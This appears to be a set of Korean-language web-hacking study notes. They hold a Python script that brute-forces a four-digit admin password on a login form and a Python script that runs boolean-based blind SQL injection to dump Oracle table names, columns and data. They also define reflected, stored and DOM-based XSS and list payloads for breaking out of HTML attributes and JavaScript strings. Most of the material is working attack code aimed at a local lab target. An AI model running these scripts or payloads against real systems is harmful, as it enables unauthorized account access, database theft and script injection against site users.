# -*- coding:utf-8 -*-
import requests
from bs4 import BeautifulSoup
import time
url = "https://localhost:8080/login"
header = {"Content-Type": "application/x-www-form-urlencoded"}
cookie = {"JSESSIONID": "476C685C3AB932BB5A721B77D69ED78B"}
for i in range(0, 10000):
pw = str(i).zfill(4)
data = {
"_csrf": "bfc7fe77-12ed-4dc3-9a5d-aa611cb98df6",
"memberid": "admin",
"password": pw,
}
response = requests.post(
url, headers=header, cookies=cookie, data=data, timeout=30000
)
soup = BeautifulSoup(response.text, "html.parser")
print(pw)
print(soup.text)
if "로그인에 실패했습니다." in soup.text:
continue
else:
print("로그인 성공")
break
time.sleep(10)
print()
import requests
from bs4 import BeautifulSoup
import time
url = "https://localhost:8080"
cookies = {"JSESSIONID": "008E31CF2A3002CA483775E8A9848479"}
def binarySearch(query):
answer = ""
first = 1
end = 10000
while first < end:
mid = (first + end) // 2
attck = f"and ({query}) > {mid} and 1=1"
res = requests.get(url + attck, cookies=cookies)
if "New MacBook Pro" in res.text:
first = mid + 1
else:
end = mid
answer += chr(first)
return first
query = "select count(table_name) from user_tables"
count = binarySearch(query)
print(f"1-1. 테이블 개수 : {count}개")
for queryCount in range(1, count + 1):
query = f"select length(table_name) from (select table_name, rownum as ln from user_tables) where ln = {queryCount}"
length = binarySearch(query)
print(f"1-2-1. {queryCount} 번째 테이블 명의 문자열 길이 : {length} 글자")
tableName = ""
for queryLength in range(1, length + 1):
query = f"select ascii(substr(table_name,{queryLength},1)) from (select table_name, rownum as ln from user_tables) where ln = {queryCount}"
tableName += chr(binarySearch(query))
print(f"1-2-2. {queryCount} 번째 테이블 명 : {tableName} ")
query = (
f"select count(column_name) from all_tab_columns where table_name='{tableName}'"
)
coulmnCount = binarySearch(query)
print(f"{tableName} 테이블 컬럼의 개수 : {coulmnCount}")
for queryColumnCount in range(1, coulmnCount + 1):
query = f"select length(column_name) from (select column_name, rownum as ln from all_tab_columns where table_name = '{tableName}') where ln = {queryColumnCount}"
columnLength = binarySearch(query)
print(f"{tableName} 테이블 컬럼의 길이 : {columnLength}")
columnName = ""
for queryColumnLength in range(1, columnLength + 1):
query = f"select ascii(substr(column_name,{queryColumnLength},1)) from (select column_name, rownum as ln from all_tab_columns where table_name = '{tableName}') where ln = {queryColumnCount}"
columnName += chr(binarySearch(query))
print(f"{tableName} 테이블의 {queryColumnCount} 번째 컬럼명 : {columnName}")
query = f"select count({columnName}) from {tableName}"
dataCount = binarySearch(query)
print(f"{tableName} 테이블의 데이터 수 : {dataCount}")
for _ in range(1, dataCount + 1):
query = f"select length({columnName}) from {tableName}"
dataLengths = binarySearch(query)
print(f"{tableName} 테이블의 데이터 길이 : {dataCount}")
dataName =""
for dataLength in range(1, dataLengths + 1):
query = f"select ascii(substr({columnName},{dataLength},1)) from '{tableName}'"
dataName += chr(binarySearch(query))
print(f"{tableName} 테이블의 데이터 이름 : {dataName}")
Reflected XSS(반사형 클로스사이트 스크립팅)
공격자가 악의적인 스크립트가 포함된 URL을 메신저, 이메일 등을 이용하여 사용자에게 노출 시키고 이 URL에 사용자가 접근 할 경우 스크립트가 실행되어 피해를 발생시킴
Stored XSS
공격자가 악의적인 스크립트를 취약한 서버에 게시물 형태로 등록 시킨 후 사용자가 해당 게시물에 접근 시 스크립트가 실행되어 피해를 발생시킴
DOM Based XSS
공격자가 악의적인 스크립트가 포함된 URL을 메신저, 이메일 등을 이용하여 사용자에게 노출 시키고 이 URL에 사용자가 접근 할 경우 서버와의 상호작용 없이 브라우저에서 스크립트가 실행되어 피해를 발생시킴
주로 공격때 자주 사용하는 문자열 : <>"!;'
<html>
<body>
xsstest
<script>alert('XSS');</script>
</body>
<html>
공격 파라미터 : xsstest
<html>
<body>
<input type="text" value="xsstest"><script>alert('xss');</script><"">
<script>
alert('xss');
</script>
<temp temp="">
</body>
</html>
공격 파라미터 : "><temp temp="
<html>
<body>
.. .
..
<script>
var a = "https://bank.com/?sa=" + "입력값";
alert('xss');
var a= "";
</script>
</body>
</html>
공격 파라미터 : ";alert('xss'); var a= "
Example
기존
function fnEdit()
{
document.location.href = 'noticeedit.php?board_id=' + '19';}alert('xss');function temp(){var temp='';
}
공격
function fnEdit()
{
document.location.href = 'noticeedit.php?board_id=' + '19';
}
alert('xss');
function temp (){
var temp ='';
}
실공격 파라미터
';}alert('xss'); function temp (){var temp ='